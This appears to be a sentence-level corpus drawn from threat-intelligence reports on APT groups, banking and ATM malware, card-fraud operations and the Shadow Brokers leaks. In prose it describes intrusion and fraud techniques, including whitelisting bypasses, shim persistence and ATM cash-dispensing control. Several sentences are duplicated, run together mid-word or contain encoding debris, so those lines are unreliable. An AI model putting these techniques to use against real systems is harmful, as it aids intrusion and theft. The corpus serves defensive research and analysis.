Given this requirement , SilverTerrier actors often rely on Dynamic DNS and virtual private servers to provide a layer of obfuscation to protect their identities .
When using email scams , SilverTerrier actors preferred to use large target audiences , which maximized the likelihood of success with very little risk .
Unit 42 tracks roughly 300 SilverTerrier actors who have registered a combined 11,600 domains over the past five years .
To support the rapid growth and pace of malware distribution efforts , SilverTerrier actors are in constant need of domains to serve as C2 nodes .
To that end , it is very unlikely that the United States government or Shell , a global energy company , would commission SilverTerrier actors to develop domains that impersonate their own legitimate websites and services .
The credentials they use to register their malware infrastructure are easily associated with their public social media accounts on Google® , Facebook® , MySpace® , Instagram® , and various dating and blogging sites .
Earlier this year , Cybereason identified an advanced , persistent attack targeting telecommunications providers that has been underway for years , soon after deploying into the environment .
Based on the data available to us , Operation Soft Cell has been active since at least 2012 , though some evidence suggests even earlier activity by the threat actor against telecommunications providers .
Threat actors , especially those at the level of nation state , are seeking opportunities to attack these organizations , conducting elaborate , advanced operations to gain leverage , seize strategic assets , and collect information .
The tools and techniques used throughout these attacks are consistent with several Chinese threat actors , such as APT10 , a threat actor believed to operate on behalf of the Chinese Ministry of State Security .
The threat actor attempted to compromise critical assets , such as database servers , billing servers , and the active directory .
The attack began with a web shell running on a vulnerable , publicly-facing server , from which the attackers gathered information about the network and propagated across the network .
The initial indicator of the attack was a malicious web shell that was detected on an IIS server , coming out of the w3wp.exe process .
An investigation of the web shell , later classified as a modified version of the China Chopper web shell , uncovered several attack phases and TTPs .
The threat actor was able to leverage the web shell to run reconnaissance commands , steal credentials , and deploy other tools .
The web shell parameters in this attack match to the China Chopper parameters , as described in FireEye 's analysis of China Chopper .
It is used to remotely control web servers , and has been used in many attacks against Australian web hosting providers .
This tool has been used by several Chinese-affiliated threat actors , such as APT 27 and APT 40 .
The most common credential stealing tool used by the threat actor was a modified mimikatz that dumps NTLM hashes .
The threat actor relied on WMI and PsExec to move laterally and install their tools across multiple assets .
Nbtscan has been used by APT10 in Operation Cloud Hopper to search for services of interest across the IT estate and footprint endpoints of interest .
A second method the threat actor used to maintain access across the compromised assets was through the deployment of the PoisonIvy RAT ( PIVY ) .
This infamous RAT has been associated with many different Chinese threat actors , including APT10 , APT1 , and DragonOK .
It is a powerful , multi-featured RAT that lets a threat actor take total control over a machine .
In an attempt to hide the contents of the stolen data , the threat actor used winrar to compress and password-protect it .
The winrar binaries and compressed data were found mostly in the Recycle Bin folder , a TTP that was previously observed in APT10-related attacks , as well as others .
This ' connection bouncer ' tool lets the threat actor redirect ports and connections between different networks and obfuscate C2 server traffic .
In order to exfiltrate data from a network segment not connected to the Internet , the threat actor deployed a modified version of hTran .
There have been numerous reports of hTran being used by different Chinese threat actors , including : APT3 ,and DragonOK .
The threat actor made some modifications to the original source code of hTran .
The threat actor had a specific pattern of behavior that allowed us to understand their modus operandi : they used one server with the same IP address for multiple operations .
There are previous reports of threat actors including APT10 and APT1 using dynamic DNS .
Our investigation showed that these attacks were targeted , and that the threat actor sought to steal communications data of specific individuals in various countries .
The data exfiltrated by this threat actor , in conjunction with the TTPs and tools used , allowed us to determine with a very high probability that the threat actor behind these malicious operations is backed by a nation state , and is affiliated with China .
Symantec saw the first evidence of Sowbug-related activity with the discovery in March 2017 of an entirely new piece of malware called Felismus used against a target in Southeast Asia .
Symantec saw the first evidence of Sowbug group with the discovery in March 2017 of an entirely new piece of malware called Felismus used against a target in Southeast Asia .
Symantec has also been able to connect earlier attack campaigns with Sowbug , demonstrating that it has been active since at least early-2015 and may have been operating even earlier .
To date , Sowbug appears to be focused mainly on government entities in South America and Southeast Asia and has infiltrated organizations in Argentina , Brazil , Ecuador , Peru , Brunei and Malaysia .
For example , in a 2015 attack on one South American foreign ministry , the group appeared to be searching for very specific information .
The first evidence of its intrusion dated from May 6 , 2015 but activity appeared to have begun in earnest on May 12 .
In total , the attackers maintained a presence on the target 's network for four months between May and September 2015 .
We have previously detected groups we suspect are affiliated with the North Korean government compromising electric utilities in South Korea , but these compromises did not lead to a disruption of the power supply .
Instead , sensitive KHNP documents were leaked by the actors as part of an effort to exaggerate the access they had and embarrass the South Korean Government , a technique we assess North Korea would turn to again in order to instill fear and/or meet domestic propaganda aims .
North Korea linked hackers are among the most prolific nation-state threats , targeting not only the U.S. and South Korea but the global financial system and nations worldwide .
FireEye has detected more than 20 cyber threat groups suspected to be sponsored by at least four other nation-states attempting to gain access to targets in the energy sector that could have been used to cause disruptions .
CapabilitiesFormBook is a data stealer , but not a full-fledged banker .
FormBook OverviewFormBook is a data stealer and form grabber that has been advertised in various hacking forums since early 2016 .
The malware may inject itself into browser processes and explorer.exe .
The attackers involved in these email campaigns leveraged a variety of distribution mechanisms to deliver the information stealing FormBook malware .
Much of the activity was observed in the United States (Figure 11) , and the most targeted industry vertical was Aerospace/Defense Contractors (Figure 12) .
In the last few weeks , FormBook was seen downloading other malware families such as NanoCore .
We have associated this campaign with APT19 , a group that we assess is composed of freelancers , with some degree of sponsorship by the Chinese government .
The vulnerability is bypassing most mitigations; however , as noted above , FireEye email and network products detect the malicious documents .
We have previously observed APT19 steal data from law and investment firms for competitive economic purposes .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
Furthermore , there are indications that APT32 actors are targeting peripheral network security and technology infrastructure corporations .
This focused intelligence and detection effort led to new external victim identifications as well as providing sufficient technical evidence to link twelve prior intrusions ,consolidating four previously unrelated clusters of threat actor activity into FireEye’s newest named advanced persistent threat group: APT32 .
In mid-2016 , malware that FireEye believes to be unique to APT32 was detected on the networks of a global hospitality industry developer with plans to expand operations into Vietnam .
In March 2017 , in response to active targeting of FireEye clients , the team launched a Community Protection Event (CPE) – a coordinated effort between Mandiant incident responders , FireEye as a Service (FaaS) , FireEye iSight Intelligence , and FireEye product engineering – to protect all clients from APT32 activity .
In their current campaign , APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros .
APT32 actors continue to deliver the malicious attachments via spear-phishing emails .
APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel files to deliver their initial exploits .
In the following weeks , FireEye released threat intelligence products and updated malware profiles to customers while developing new detection techniques for APT32’s tools and phishing lures .
Also in 2014 , APT32 carried out an intrusion against a Western country’s national legislature .
In 2015 , SkyEye Labs , the security research division of the Chinese firm Qihoo 360 , released a report detailing threat actors that were targeting Chinese public and private entities including government agencies , research institutes , maritime agencies , sea construction , and shipping enterprises .
In order to track who opened the phishing emails , viewed the links , and downloaded the attachments in real-time , APT32 used cloud-based email analytics software designed for sales organizations .
Since at least 2014 , FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnama's manufacturing , consumer products , and hospitality sectors .
Mandiant consultants suspect that APT32 was monitoring web logs to track the public IP address used to request remote images .
APT32 often deploys these backdoors along with the commercially-available Cobalt Strike BEACON backdoor .
The targeting of private sector interests by APT32 is notable and FireEye believes the actor poses significant risk to companies doing business in , or preparing to invest in , the country .
While the motivation for each APT32 private sector compromise varied – and in some cases was unknown – the unauthorized access could serve as a platform for law enforcement , intellectual property theft , or anticorruption measures that could ultimately erode the competitive advantage of targeted organizations .
While actors from China , Iran , Russia , and North Korea remain the most active cyber espionage threats tracked and responded to by FireEye , APT32 reflects a growing host of new countries that have adopted this dynamic capability .
Several Mandiant investigations revealed that , after gaining access , APT32 regularly cleared select event log entries and heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannon’s Invoke-Obfuscation framework .
Furthermore , APT32 continues to threaten political activism and free speech in Southeast Asia and the public sector worldwide .
North Korea's Office 39 is involved in activities such as gold smuggling , counterfeiting foreign currency , and even operating restaurants .
With these details , we will then draw some conclusions about the operators of CARBANAK .
Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time .
Since May 2017 , Mandiant experts observed North Korean actors target at least three South Korean cryptocurrency exchanges with the suspected intent of stealing funds .
February saw three particularly interesting publications on the topic of macOS malware: a Trojan Cocoa application that sends system information including keychain data back to the attacker , a macOS version of APT28’s Xagent malware , and a new Trojan ransomware .
Per a 2015 report from CitizenLab , Gamma Group licenses their software to clients and each client uses unique infrastructure , making it likely that the two documents are being used by a single client .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
LATENTBOT is a modular and highly obfuscated type of malware first discovered by FireEye iSIGHT intelligence in December 2015 .
It is capable of a variety of functions , including credential theft , hard drive and data wiping , disabling security software , and remote desktop functionality .
Additionally , this incident exposes the global nature of cyber threats and the value of worldwide perspective – a cyber espionage incident targeting Russians can provide an opportunity to learn about and interdict crime against English speakers elsewhere .
Recent DRIDEX activity began following a disclosure on April 7 , 2017 .
This campaign primarily affected the government sector in the Middle East , U.S. , and Japan .
This campaign primarily affected the government sector in the Middle East , U.S. , and Japan .
FireEye believes that two actors – Turla and an unknown financially motivated actor – were using the first EPS zero-day CVE-2017-0261 , and APT28 was using the second EPS zero-day CVE-2017-0262 along with a new Escalation of Privilege (EOP) zero-day CVE-2017-0263 .
Turla and APT28 are Russian cyber espionage groups that have used these zero-days against European diplomatic and military entities .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
It is possible that CVE-2017-8759 was being used by additional actors .
Russian cyber espionage actors use zero-day exploits in addition to less complex measures .
The addition of the EternalBlue exploit to Metasploit has made it easy for threat actors to exploit these vulnerabilities .
Given the release of sensitive victim data , extortion , and destruction of systems , FireEye considers FIN10 to be one of the most disruptive threat actors observed in the region so far .
To install and register the malicious shim database on a system , FIN7 used a custom Base64 encoded PowerShell script , which ran the sdbinst.exe” utility to register a custom shim database file containing a patch onto a system .
During the investigations , Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of services.exe” with their CARBANAK payload .
FIN7 is a financially motivated intrusion set that selectively targets victims and uses spear phishing to distribute its malware .
During the investigations , Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of a??services.exea?? with their CARBANAK payload .
CARBANAK malware has been used heavily by FIN7 in previous operations .
We have not yet identified FIN7’s ultimate goal in this campaign ,as we have either blocked the delivery of the malicious emails or our FaaS team detected and contained the attack early enough in the lifecycle before we observed any data targeting or theft .
If the attackers are attempting to compromise persons involved in SEC filings due to their information access , they may ultimately be pursuing securities fraud or other investment abuse .
The use of the CARBANAK malware in FIN7 operations also provides limited evidence that these campaigns are linked to previously observed CARBANAK operations leading to fraudulent banking transactions , ATM compromise , and other monetization schemes .
Figure 1 shows a sample phishing email used by HawkEye operators in this latest campaign .
The HawkEye malware is primarily used for credential theft and is often combined with additional tools to extract passwords from email and web browser applications .
HawkEye is a versatile Trojan used by diverse actors for multiple purposes .
We have seen different HawkEye campaigns infecting organizations across many sectors globally , and stealing user credentials for diverse online services .
Mandiant disclosed these vulnerabilities to Lenovo in May of 2016 .
For our M-Trends 2017 report , we took a look at the incidents we investigated last year and provided a global and regional (the Americas , APAC and EMEA) analysis focused on attack trends , and defensive and emerging trends .
As we noted in M-Trends 2016 , Mandiant’s Red Team can obtain access to domain administrator credentials within roughly three days of gaining initial access to an environment , so 99 days is still 96 days too long .
On top of our analysis of recent trends , M-Trends 2017 contains insights from our FireEye as a Service (FaaS) teams for the second consecutive year .
In Figure 1 , which is based on FireEye Dynamic threat Intelligence (DTI) reports shared in March 2017 , we can see the regions affected by Magnitude EK activity during the last three months of 2016 and the first three months of 2017 .
Magnitude EK activity then fell off the radar until Oct. 15 , 2017 , when it came back and began focusing solely on South Korea .
The Magnitude EK landing page consisted of CVE-2016-0189 , which was first reported by FireEye as being used in Neutrino Exploit Kit after it was patched .
Throughout the final quarter of 2016 and first month of 2017 , FireEye Dynamic Threat Intelligence (DTI) observed consistent Magnitude EK hits from several customers , the majority of whom reside in the APAC region .
In January 2017 , new domain names appeared in the campaign hosted on a different IP location .
Many groups leverage the regsvr32.exe application whitelisting bypass , including APT19 in their 2017 campaign against law firms .
This trend continued until late September 2017 , when we saw Magnitude EK focus primarily on the APAC region , with a large chunk targeting South Korea .
These ransomware payloads only seem to target Korean systems , since they won’t execute if the system language is not Korean .
The malware was initially distributed through a compromised software update system and then self-propagated through stolen credentials and SMB exploits , including the EternalBlue exploit used in the WannaCry attack from May 2017 .
In our Revoke-Obfuscation white paper ,first presented at Black Hat USA 2017 , we provide background on obfuscated PowerShell attacks seen in the wild , as well as defensive mitigation and logging best practices .
The malware leverages an exploit , codenamed EternalBlue” , that was released by the Shadow Brokers on April 14 , 2017 .
The malware appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD (via Bitcoin) to decrypt the data .
The malware then builds two DLLs in memory – they are 32 and 64-bit DLLs that have identical functionality .
The malware continues by creating a service named mssecsvc2.0 with a binary path pointing to the running module with the arguments -m security .
The malware then writes the R resource data to the file C:\WINDOWS\tasksche.exe .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
Attaching with IDA Pro via WinDbg as in Figure 11 shows that the program counter points to the infinite loop written in memory allocated by flare-qdb .
We recently observed a resurgence of the same phishing campaign when our systems detected roughly 90 phony Apple-like domains that were registered from July 2016 to September 2016 .
In this blog we provide insight into the tactics , techniques and procedures (TTPs) of a Brazilian cyber crime group that specializes in payment card fraud operations .
The threat actors , observed by FireEye Labs , use a variety of different methods to either compromise or acquire already compromised payment card credentials , including sharing or purchasing dumps online , hacking vulnerable merchant websites and compromising payment card processing devices .
Once in their possession , the actors use these compromised payment card credentials to generate further card information .
The members of the group use a variety of tools , including CCleaner , on a daily basis to effectively remove any evidence of their operations .
Another common step taken by threat actors is changing their system's MAC Address to avoid being uniquely identified .
For this purpose , these actors often use tools such as Technitium MAC Address Changer .
We have observed these actors using Tor or proxy-based tools similar to Tor (e.g , UltraSurf , as seen in Figure 2) .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Based on our observations , this group uses a variety of different methods to either compromise or acquire already compromised payment card credentials .
Payment card dumps are commonly shared amongst Brazilian threat actors via social media forums such as Facebook , Skype , and web-based WhatsApp messenger .
Similarly , the group takes advantage of freely available consolidations of email credentials , personal information , and other data shared in eCrime forums for fraud purposes .
These actors scan websites for vulnerabilities to exploit to illicitly access databases .
They most commonly target Brazilian merchants , though others use the same tactics to exploit entities outside Brazil .
The group also uses the SQL injection (SQLi) tools Havij Advanced SQL Injection Tool and SQLi Dumper version 7.0 (Figure 4) to scan for and exploit vulnerabilities in targeted eCommerce sites .
At least eight sellers update the website as frequently as daily , offering newly obtained databases from the U.S .
Once in possession of compromised payment card credentials , these actors use tools commonly known as card generators to generate new card numbers based on the compromised ones , creating additional opportunities for monetization .
One bulk card-checking tool this group uses is Testador Amazon.com v1.1 (Figureits name , this tool does not use Amazon’s website , but exploits an unauthenticated Cross-Site Request Forgery (CSRF) vulnerability of a merchant website allowing the abuse of PayPal Payflow link functionality (Figure 9) .
Based on our observations of interactions in this channel , between May 2016 and June 2016 , malicious actors validated 2 , 987 cards from 62 countries , with the most coming from the U.S. (nearly half) , Brazil , and France .
The actors frequently use the stolen data to create cloned physical cards , which they use to attempt to withdraw funds from ATMs .
The group primarily uses the MSR 606 Software (Figure 12) and Hardware (Figure 13) to create cloned cards .
However , Brazilian actors commonly use several methods to do so , such as reselling cards they have created , paying bills with stolen cards in return for a portion of the bill's value and reselling illicitly obtained goods .
Some attacker tools were used to almost exclusively target organizations within APAC .
In April 2015 , we uncovered the malicious efforts of APT30 , a suspected China-based threat group that has exploited the networks of governments and organizations across the region , targeting highly sensitive political , economic and military information .
The individuals using Hancitor malware also known by the name Chanitor are no exception and have taken three approaches to deliver the malware in order to ultimately steal data from their victims .
We recently observed Hancitor attacks against some of our FireEye Exploit Guard customers .
The group has performed these activities at multiple locations across Brazil , possibly using multiple mules .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
The attachment in these emails is a weaponized Microsoft Office document containing a malicious macro that – when enabled – leads to the download of Hancitor .
After the executable is executed ,it downloads Pony and Vawtrak malware variants to steal data .
Upon execution , it will communicate with an attacker-controller website to download a variant of the Pony malware , pm.dll” along with a standard Vawtrak trojan .
In this blog , FireEye Labs dissects this new ATM malware that we have dubbed RIPPER (due to the project name ATMRIPPER” identified in the sample) and documents indicators that strongly suggest this piece of malware is the one used to steal from the ATMs at banks in Thailand .
RIPPER interacts with the ATM by inserting a specially manufactured ATM card with an EMV chip that serves as the authentication mechanism .
RIPPER will examine the contents of directories associated with the targeted ATM vendors and will replace legitimate executables with itself .
Once a valid card with a malicious EMV chip is detected , RIPPER will instantiate a timer to allow a thief to control the machine .
This malware family can be used to compromise multiple vendor platforms and leverages uncommon technology to access physical devices .
From our trend analysis seen in Figure 3 , Locky ransomware started being delivered via DOCM format email attachments more extensively beginning in August .
Discovered for the first time in Mexico back in 2013 , Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message , a technique that had never been seen before .
FireEye Labs recently identified a previously unobserved version of Ploutus , dubbed Ploutus-D , that interacts with KAL’s Kalignite multivendor ATM platform .
The samples we identified target the ATM vendor Diebold .
This blog covers the changes , improvements , and Indicators of Compromise (IOC) of Ploutus-D in order to help financial organizations identify and defend against this threat .
Ploutus-D also allows the attackers to enter the amount to withdraw (billUnits – 4 digits) and the number of cycles (billCount – 2 digits) to repeat the dispensing operation (see Figure 10) .
Ploutus-D will load KXCashDispenserLib” library implemented by Kalignite Platform (K3A.Platform.dll) to interact with the XFS Manager and control the Dispenser (see Figure 13) .
Since Ploutus-D interacts with the Kalignite Platform , only minor modifications to the Ploutus-D code may be required to target different ATM vendors worldwide .
Finally , Mandiant’s Devon Kerr and John Miller of FireEye iSIGHT Intelligence will expose the tactics of FIN7 , a financially motivated hacker group that FireEye tracked throughout 2016 .
In mid-November , Mandiant , a FireEye company , responded to the first Shamoon 2.0 incident against an organization located in the Gulf states .
These attackers can potentially grab sensitive online banking information and other personal data , and even provided support for multifactor authentication and OTP .
FireEye Labs detects this phishing attack and customers will be protected against the usage of these sites in possible future campaigns .
Our visibility into APT28’s operations , which date to at least 2007 , has allowed us to understand the group’s malware , operational changes and motivations .
This intelligence has been critical to protecting and informing our clients , exposing this threat and strengthening our confidence in attributing APT28 to the Russian government .
The threat actors used two publicly available techniques , an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process .
The regsvr32.exe executable can be used to download a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument .
We observed implementation of this bypass in the macro code to invoke regsvr32.exe , along with a URL passed to it which was hosting a malicious SCT file .
There was code to download a decoy document from the Internet and open it in a second winword.exe process using the Start-Process cmdlet .
Ordnance will be able to immediately generate shellcode after users provide the IP and Port that the shellcode should connect to or listenTherefore , the Stuxnet MOF file creation tool that the Shadow Brokers dropped on Friday is possibly the earliest technical evidence that NSA hackers and developers coded Stuxnet , as many suspect .
Of course , it 's also possible that whatever group The Shadow Brokers have exposed simply gained access to the Stuxnet tools secondhand , and reused them .
That post included download links for a slew of NSA hacking tools and exploits , many of which could be used to break into hardware firewall appliances , and in turn , corporate or government networks .
Some hackers even went onto use the Cisco exploits in the wild .
DanderSpritz consists entirely of plugins to gather intelligence , use exploits and examine already controlled machines .
DanderSpritz consists entirely of plugins to gather intelligence , use exploits and examine already controlled machines .
DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ' sipauth32.tsp ' that provides remote control , belonging to this category .
DanderSpritz is the framework for controlling infected machines , different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar .
PeddleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines .
The FuzzBunch and DanderSpritz frameworks are designed to be flexible and to extend functionality and compatibility with other tools .
Each of them consists of a set of plugins designed for different tasks : while FuzzBunch plugins are responsible for reconnaissance and attacking a victim , plugins in the DanderSpritz framework are developed for managing already infected victims .
The leaked NSA documents and tools published in recent months by the mysterious Shadow Brokers group have provided rare insight into the clandestine digital espionage operations pursued by the spy agency over the past few years , including information on operations aimed at Iran and Russia .
Yet the document cache published April 8 provides evidence that the NSA had once launched a series of successful computer-based intrusions against multiple high-profile foreign targets , including the Office of the President of Iran and the Russian Federal Nuclear Center .
The ShadowBrokers' latest dump of Equation Group hacks focuses on UNIX systems and GSM networks , and was accompanied by an open letter to President Trump .
Numerous Windows hacking tools are also among the new batch of files the Shadow Brokers dumped Friday .
The leaked files show the NSA was allegedly targeting EastNets in Dubai , Belgium , and Egypt .
The files appear to include logs from 2013 that show the NSA was also targeting oil and investment companies across the Middle East .
According to Kaspersky , the Equation Group has more than 60 members and has been operating since at least 2001 .
The existence of the Equation Group was first posited in Feb. 2015 by researchers at Russian security firm Kaspersky Lab , which described it as one of the most sophisticated cyber attack teams in the world .
Most of the Equation Group 's targets have been in Iran , Russia , Pakistan , Afghanistan , India , Syria , and Mali .
According to Wikipedia , the CSS was formed in 1972 to integrate the NSA and the Service Cryptologic Elements ( SCE ) of the U.S armed forces .
KrebsOnSecurity was first made aware of the metadata in the Shadow Brokers leak by Mike Poor , Rob Curtinseufert , and Larry Pesce .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
The ShadowBrokers is a group of hackers known for leaking exclusive information about the National Security Agency – NSA 's hacking tools and tactics .
It captures information using plugins to compromise webcam and microphone output along with documenting log keystrokes , carrying out surveillance and access external drives .
UNITEDRAKE is described as a " fully extensible " data collection tool that is specifically developed for Windows machines to allow operators the chance of controlling a device completely .
On the other hand , ShadowBrokers group made headlines in 2016 when it claimed to have robbed various exploitation tools used by the NSA including the notorious ETERNALBLUE that was a vital component in the WannaCry ransomware campaign causing damages to systems worldwide .
This turned out to be a malicious loader internally named ' Slingshot ' , part of a new , and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity .
One of them – ipv4.dll – has been placed by the APT with what is , in fact , a downloader for other malicious components .
To run its code in kernel mode in the most recent versions of operating systems , that have Driver Signature Enforcement , Slingshot loads signed vulnerable drivers and runs its own code through their vulnerabilities .
During our research we also found a component called KPWS that turned out to be another downloader for Slingshot components .
Written in pure C language , Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions , and carries out integrity control of various system components to avoid debugging and security detection .
The toolset includes reams of documentation explaining how the cyber weapons work , as well as details about their use in highly classified intelligence operations abroad .
So far , researchers have seen around 100 victims of Slingshot and its related modules , located in Kenya , Yemen , Afghanistan , Libya , Congo , Jordan , Turkey , Iraq , Sudan , Somalia and Tanzania .
Some of the techniques used by Slingshot , such as the exploitation of legitimate , yet vulnerable drivers has been seen before in other malware , such as White and Grey Lambert .
Cylance tracks this threat group internally as ' Snake Wine ' .
To date , all observed Snake Wine 's attacks were the result of spear phishing attempts against the victim organizations .
The Ham Backdoor functions primarily as a modular platform , which provides the attacker with the ability to directly download additional modules and execute them in memory from the command and control ( C2 ) server .
Based upon Cylance 's observations , the Tofu Backdoor was deployed in far fewer instances than the Ham Backdoor .
This suggests that the Snake Wine group will likely continue to escalate their activity and persistently target both private and government entities within Japan .
The group was first publicly disclosed by FireEye in this report .
MenuPass is a well-documented CN-APT group , whose roots go back to 2009 .
Snake Wine was first publicly disclosed by FireEye in this report .
Although the MenuPass Group used mostly publicly available RATs , they were successful in penetrating a number of high value targets , so it is entirely possible this is indeed a continuation of past activity .
Also of particular interest was the use of a domain hosting company that accepts BTC and was previously heavily leveraged by the well-known Russian group APT28 .
Germany 's Der Spiegel re-published the slide set with far less deletions recently , in January 2015 , and therefore gave a deeper insight about what CSEC actually says they have tracked down .
According to slide 22 , " CSEC assesses , with moderate certainty , SNOWGLOBE to be a state-sponsored Cyber Network Operation effort , put forth by a French intelligence agency " .
The information given dates back to 2011 and nothing else has been published since .
Now that specific Babar samples have been identified and analyzed , there might be new information , also with regards to similarities or differences between the two Remote Administration Tools ( RATs ) EvilBunny and Babar .
We recommend reading Marion 's report " Shooting Elephants " , a complementary piece of work regarding the Babar malware .
And finally , as every elephant , Babar has big ears and the malware is able to listen to conversations and log them by using the dsound and winmm libraries .
The G DATA SecurityLabs are convinced that the number of similarities identified between EvilBunny and Babar show that both malware families originate from the same developers .
TA542 , the primary actor behind Emotet , is known for the development of lures and malicious mail specific to given regions .
While discussions of threats in this region often focus on " North America " generally or just the United States , nearly 100 campaigns during this period were either specifically targeted at Canadian organizations or were customized for Canadian audiences .
Emotet is a type of general-purpose malware that evolved from a well-known banking Trojan , " Cridex " , which was first discovered in 2014 .
While discussions of threats in this region often focus on " North America " generally or just the United States , nearly 100 campaigns during this period were either specifically targeted at Canadian organizations or were customized for Canadian audiences .
Emotet activity in 2019 included several high-volume campaigns that collectively distributed tens of millions of messages primarily targeting the manufacturing and healthcare industries .
Originally targeting Western European banks , Emotet has since been developed into a robust global botnet that is comprised of several modules , each of which equips Emotet with different spamming , email logging , information stealing , bank fraud , downloading , and DDoS , among others .
Originally targeting Western European banks , it has since been developed into a robust global botnet that is comprised of several modules , each of which equips Emotet with different spamming , email logging , information stealing , bank fraud , downloading , and DDoS , among others .
Beginning in mid-January 2019 , TA542 distributed millions of Emotet-laden emails in both English and German .
DanaBot is a Trojan that includes banking site web injections and stealer functions .
Proofpoint researchers observed one DanaBot affiliate ( Affid 11 ) specifically targeting Canada with " Canada Post " themed lures between January 1 and May 1 , 2019 .
FormBook is a browser form stealer/keylogger that is under active development .
While Canada-targeted threats are not new , Emotet in particular , with its frequent region-specific email campaigns , is bringing new attention to geo-targeting in Canada and beyond .
First observed in mid-2014 , this malware shared code with the Bugat ( aka Feodo ) banking Trojan .
MUMMY SPIDER is a criminal entity linked to the core development of the malware most commonly known as Emotet or Geodo .
After a 10 month hiatus , MUMMY SPIDER returned Emotet to operation in December 2016 but the latest variant is not deploying a banking Trojan module with web injects , it is currently acting as a ' loader ' delivering other malware packages .
The malware is also issuing commands to download and execute other malware families such as the banking Trojans Dridex and Qakbot .
It seems that the main objective of the attackers was information gathering from the infected computers .
For the TeamViewer-based activities , we have traces in the past until September 2012 .
In the actual targeted attack detected by the Hungarian National Security Agency , TeamSpy used components of the TeamViewer tool combined with other malware modules .
In the actual targeted attack detected by the Hungarian National Security Agency , they used components of the TeamViewer tool combined with other malware modules .
TeamViewer has also been used in the " Sheldor " attack campaign , which was detected between 2010 and 2011 , and which resulted in assets stolen at the value of $600k and $832k .
This match shows a direct relationship between Sheldor and TeamSpy , although we do not known if the connection is only at the tool level or at the operation level too .
Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM , following our internal practice of assigning rogue actors chemical element names .
From the samples we collected , we can conclude that the same threat actor produced many individual malware modules during the last ten years .
Once TERBIUM has a foothold in the organization , its infection chain starts by writing an executable file to disk that contains all the components required to carry out the data-wiping operation .
Microsoft Threat Intelligence has observed that the malware used by TERBIUM , dubbed " Depriz " by Microsoft , reuses several components and techniques seen in the 2012 attacks , and has been highly customized for each targeted organization .
Note : TERBIUM establishes a foothold throughout the organization and does not proceed with the destructive wiping operation until a specific date/time : November 17 , 2016 at 8:45 p.m .
Transparent Tribe has been active for several years and conducting suspected intelligence collection operations against South Asian political and military targets .
We initially reported on this threat group and their UPDATESEE malware in our FireEye Intelligence Center in February 2016 .
We initially reported on Transparent Tribe and their UPDATESEE malware in our FireEye Intelligence Center in February 2016 .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
In this latest incident , the group registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
In previous incidents involving this threat actor , we observed them using malicious documents hosted on websites about the Indian Army , instead of sending these documents directly as an email attachment .
In this latest incident , Transparent Tribe registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day .
This exploit file made use of the same shellcode that we have observed Transparent Tribe use across a number of spear phishing incidents .
The first time this happened was at the beginning of the month , when Proofpoint researchers blew the lid off a cyber-espionage campaign named Operation Transparent Tribe , which targeted the Indian embassies in Saudi Arabia and Kazakhstan .
Back in February 2016 , Indian army officials issued a warning against the usage of three apps , WeChat , SmeshApp , and Line , fearing that these apps collected too much information if installed on smartphones used by Indian army personnel .
The May 2018 adversary spotlight is on MYTHIC LEOPARD , a Pakistan-based adversary with operations likely located in Karachi .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
The CrowdStrike Falcon Intelligence™ team 's tracking of MYTHIC LEOPARD began in late 2016 , when evidence of an attack surfaced against a victim based in India and working in the hospitality sector .
Two binder tools — used to disguise custom executables as legitimate Microsoft implants — were discovered by Falcon Intelligence and linked to MYTHIC LEOPARD in July 2017 .
Falcon Intelligence has observed MYTHIC LEOPARD using this technique for several years to install multiple first-stage implants and downloaders , including the isqlmanager and Waizsar RAT malware families .
Patchwork also uses the Delphi file stealer as a similarity with Urpage , which suggests the three groups are somehow related .
Patchwork has also recently employed Android malware in its attacks , with its use of a customized version of AndroRAT .
Trend Micro 's Mobile App Reputation Service ( MARS ) covers Android and iOS threats using leading sandbox and machine learning technologies .
Symantec researchers have discovered that this attack group , which we call Whitefly , has been operating since at least 2017 , has targeted organizations based mostly in Singapore across a wide variety of sectors , and is primarily interested in stealing large amounts of sensitive information .
Whitefly compromises its victims using custom malware alongside open-source hacking tools and living off the land tactics , such as malicious PowerShell scripts .
From mid-2017 to mid-2018 , Whitefly launched targeted attacks against multiple organizations .
